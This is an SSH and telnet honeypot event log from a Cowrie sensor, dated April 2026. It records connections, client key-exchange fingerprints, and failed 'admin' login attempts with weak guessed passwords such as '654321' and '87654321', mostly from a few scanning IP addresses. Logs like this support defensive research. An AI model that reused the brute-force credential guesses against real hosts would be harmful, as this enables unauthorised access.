openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:45.434549Z","src_ip":"159.203.92.129","session":"d697171c3544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"55555","message":"login attempt [admin/55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:45.452984Z","src_ip":"159.203.92.129","session":"d697171c3544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:40:46.464802Z","src_ip":"159.203.92.129","session":"d697171c3544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.802380084991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:07.044908Z","src_ip":"37.187.248.110","session":"cb9c5989e6ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60948,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9c2fd1f8e9","protocol":"ssh","message":"New connection: 159.203.92.129:60948 (159.203.135.109:22) [session: cc9c2fd1f8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:27.892021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:27.897005Z","src_ip":"159.203.92.129","session":"cc9c2fd1f8e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:27.901747Z","src_ip":"159.203.92.129","session":"cc9c2fd1f8e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"654321","message":"login attempt [admin/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:27.914904Z","src_ip":"159.203.92.129","session":"cc9c2fd1f8e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:41:28.922589Z","src_ip":"159.203.92.129","session":"cc9c2fd1f8e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54490,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb0a2563dbc2","protocol":"ssh","message":"New connection: 159.203.92.129:54490 (159.203.135.109:22) [session: bb0a2563dbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:10.287773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:10.293030Z","src_ip":"159.203.92.129","session":"bb0a2563dbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:10.298856Z","src_ip":"159.203.92.129","session":"bb0a2563dbc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666666","message":"login attempt [admin/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:10.314392Z","src_ip":"159.203.92.129","session":"bb0a2563dbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:11.360917Z","src_ip":"159.203.92.129","session":"bb0a2563dbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01123642921448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:36.001370Z","src_ip":"176.29.26.223","session":"d99ff7aed9c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0fbb1ae8305","protocol":"telnet","message":"New connection: 176.29.26.223:28768 (159.203.135.109:23) [session: d0fbb1ae8305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:37.353344Z"}
{"eventid":"cowrie.session.closed","duration":120.00296187400818,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:39.429289Z","src_ip":"176.29.26.223","session":"554fe5924dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28237,"dst_ip":"159.203.135.109","dst_port":23,"session":"644f63f567d6","protocol":"telnet","message":"New connection: 176.29.26.223:28237 (159.203.135.109:23) [session: 644f63f567d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:39.763221Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":28245,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f4039a6f820","protocol":"telnet","message":"New connection: 176.29.26.223:28245 (159.203.135.109:23) [session: 8f4039a6f820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:39.873930Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34786,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b0fc56af49","protocol":"ssh","message":"New connection: 159.203.92.129:34786 (159.203.135.109:22) [session: 67b0fc56af49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:53.518334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:53.524409Z","src_ip":"159.203.92.129","session":"67b0fc56af49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:53.530336Z","src_ip":"159.203.92.129","session":"67b0fc56af49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"77777777","message":"login attempt [admin/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:53.544250Z","src_ip":"159.203.92.129","session":"67b0fc56af49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:42:54.552722Z","src_ip":"159.203.92.129","session":"67b0fc56af49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.152.82.75","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a34a6a0bf8","protocol":"telnet","message":"New connection: 222.152.82.75:53548 (10.17.0.5:23) [session: 93a34a6a0bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:13.498031Z"}
{"eventid":"cowrie.session.closed","duration":14.300855875015259,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:27.798748Z","src_ip":"222.152.82.75","session":"93a34a6a0bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51578,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4d3533afa5","protocol":"telnet","message":"New connection: 137.220.54.231:51578 (159.203.135.109:23) [session: 0b4d3533afa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:35.318032Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33576,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c2d5d33465","protocol":"ssh","message":"New connection: 159.203.92.129:33576 (159.203.135.109:22) [session: d6c2d5d33465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:38.777221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:38.782958Z","src_ip":"159.203.92.129","session":"d6c2d5d33465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:38.790794Z","src_ip":"159.203.92.129","session":"d6c2d5d33465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"87654321","message":"login attempt [admin/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:38.802993Z","src_ip":"159.203.92.129","session":"d6c2d5d33465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:39.830237Z","src_ip":"159.203.92.129","session":"d6c2d5d33465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51852,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66a78972b01","protocol":"telnet","message":"New connection: 137.220.54.231:51852 (159.203.135.109:23) [session: c66a78972b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:41.333339Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"793d0dd4e5f8","protocol":"telnet","message":"New connection: 137.220.54.231:51856 (159.203.135.109:23) [session: 793d0dd4e5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:43.065109Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":52548,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e7b02b4731","protocol":"telnet","message":"New connection: 216.137.181.119:52548 (159.203.135.109:23) [session: e3e7b02b4731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:57.337555Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":52546,"dst_ip":"159.203.135.109","dst_port":23,"session":"381203baf9bd","protocol":"telnet","message":"New connection: 216.137.181.119:52546 (159.203.135.109:23) [session: 381203baf9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:57.342297Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":52664,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff1a9a600f4","protocol":"telnet","message":"New connection: 216.137.181.119:52664 (159.203.135.109:23) [session: 1ff1a9a600f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:57.433683Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":52882,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc65499db587","protocol":"telnet","message":"New connection: 216.137.181.119:52882 (159.203.135.109:23) [session: cc65499db587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:57.546011Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":52982,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8a2eeb48649","protocol":"telnet","message":"New connection: 216.137.181.119:52982 (159.203.135.109:23) [session: d8a2eeb48649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:57.597232Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":54028,"dst_ip":"159.203.135.109","dst_port":23,"session":"de6e421c9dcc","protocol":"telnet","message":"New connection: 216.137.181.119:54028 (159.203.135.109:23) [session: de6e421c9dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:58.507214Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":54186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53b63d44068","protocol":"telnet","message":"New connection: 216.137.181.119:54186 (159.203.135.109:23) [session: e53b63d44068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:58.570346Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6fa07d077e","protocol":"telnet","message":"New connection: 216.137.181.119:55020 (159.203.135.109:23) [session: ce6fa07d077e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:59.255452Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55116,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc5bbac59a76","protocol":"telnet","message":"New connection: 216.137.181.119:55116 (159.203.135.109:23) [session: cc5bbac59a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:59.373638Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55458,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f0b2ca9393d","protocol":"telnet","message":"New connection: 216.137.181.119:55458 (159.203.135.109:23) [session: 9f0b2ca9393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:59.575224Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"119f2090e7cd","protocol":"telnet","message":"New connection: 216.137.181.119:55640 (159.203.135.109:23) [session: 119f2090e7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:43:59.653840Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":56338,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2fe557aba9a","protocol":"telnet","message":"New connection: 216.137.181.119:56338 (159.203.135.109:23) [session: f2fe557aba9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:00.305629Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":56376,"dst_ip":"159.203.135.109","dst_port":23,"session":"5391d9d79662","protocol":"telnet","message":"New connection: 216.137.181.119:56376 (159.203.135.109:23) [session: 5391d9d79662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:00.347438Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":58560,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfc4b7282f9","protocol":"telnet","message":"New connection: 216.137.181.119:58560 (159.203.135.109:23) [session: 4cfc4b7282f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:02.358891Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55712,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab47cfd47a89","protocol":"telnet","message":"New connection: 137.220.54.231:55712 (159.203.135.109:23) [session: ab47cfd47a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:04.274083Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":60700,"dst_ip":"159.203.135.109","dst_port":23,"session":"efa4b0d0f2bb","protocol":"telnet","message":"New connection: 216.137.181.119:60700 (159.203.135.109:23) [session: efa4b0d0f2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:04.420596Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":60722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7720f7af70d","protocol":"telnet","message":"New connection: 216.137.181.119:60722 (159.203.135.109:23) [session: d7720f7af70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:04.436689Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3142317d96","protocol":"telnet","message":"New connection: 216.137.181.119:60844 (159.203.135.109:23) [session: 5e3142317d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:04.536900Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":33254,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d36de24b723","protocol":"telnet","message":"New connection: 216.137.181.119:33254 (159.203.135.109:23) [session: 5d36de24b723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:05.432756Z"}
